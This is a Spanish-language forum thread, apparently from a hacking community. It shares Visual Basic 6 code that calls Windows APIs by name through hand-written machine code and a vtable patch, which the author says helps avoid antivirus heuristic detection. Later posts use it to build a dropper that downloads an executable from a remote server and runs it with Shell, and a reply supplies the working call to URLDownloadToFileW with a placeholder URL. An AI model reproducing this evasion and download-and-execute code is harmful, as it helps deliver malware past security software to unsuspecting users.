Modulo de Clase
'---------------------------------------------------------------------------------------
' Module : cCallAPIByName
' DateTime : 31/08/2008 19:40
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Purpose : Call APIs by name
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Credits : Arne Elster, original callpointer function.
'
' History : 31/08/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Public Function DoNotCall() As Long
'
End Function
Public Function CallAPIByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long
lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function
lPtr = VarPtr(bvASM(0))
CpyMem ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
CpyMem ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
CpyMem ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
CpyMem ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
CpyMem ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
CpyMem ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
CpyMem ByVal lPtr, &HC3, &H1
Dim lVTE As Long
Dim lRet As Long
CpyMem lVTE, ByVal ObjPtr(Me), &H4
lVTE = lVTE + &H1C
CpyMem lRet, ByVal lVTE, &H4
CpyMem ByVal lVTE, VarPtr(bvASM(0)), &H4
CallAPIByName = DoNotCall
CpyMem ByVal lVTE, lRet, &H4
End Function
Como Llamarlo
Option Explicit
Private Sub Form_Load()
Dim c As New cCallAPIByName
c.CallAPIByName "user32", "MessageBoxW", 0, VarPtr(ByVal "Test"), VarPtr(ByVal "Test"), 0
End Sub
.
esta bueno, coco para saber eso se me ocurre que se podria cargar primero la libreria con LoadLibrary y si no existe mostrar un mensjae que no existe y si carga la libreria es porque existe y bueno.. que siga normalmente....
saludos.
Si la libreria no esta lMod va a ser 0 y sale de la funcion directamente.
Con respecto al AV seguramente si detecta la llamada a la api lo va a detectar por que es lo mismo, esto es mas util por el tema de la heuristica.
Importante: vi que el valor de retorno no esta bien, voy a tener que revisar todo a ver que pasa.
Bueno sinceramente siento revivir el tema, pero es para no crear otro post.
Mi problema es el siguiente, estoy llamando a la api UrlDownloadToFileA, el modulo está declarado y todo.. como prueba tengo otra api llamada (CopyFile) que funciona correctamente.
Bueno así tengo lo de la api de UrlDownloadToFileA :
.....
If sDown = "Si" Then
Descargar dUrl, aCarpeta & "\Down.exe"
Shell aCarpeta & "\Down.exe"
End If
.....
Function Descargar(Url As String, FileName As String) As Long
Dim lRet As Long
lRet = c.CallAPIByName("urlmon", "URLDownloadToFileA", 0, StrPtr(Url), StrPtr(FileName), 0, 0)
End Function
El problema es que el archivo hosteado no se descarga a la carpeta, los datos de las cadenas están comprobados pero sigue sin descargarse.
Alguna solución?
Saludos! :-\
'Call API Function
'Credits to Cobein
Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
On Error Resume Next
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim I As Long
Dim lMod As Long
lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function
lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For I = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function
lRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("http://server.com/test.exe"), StrPtr("C:\test.exe"), 0, 0)
Fuente:
http://hackhound.org/forum/index.php?topic=6795.0
Prueba asi...
Ok era el modulo entonces ;D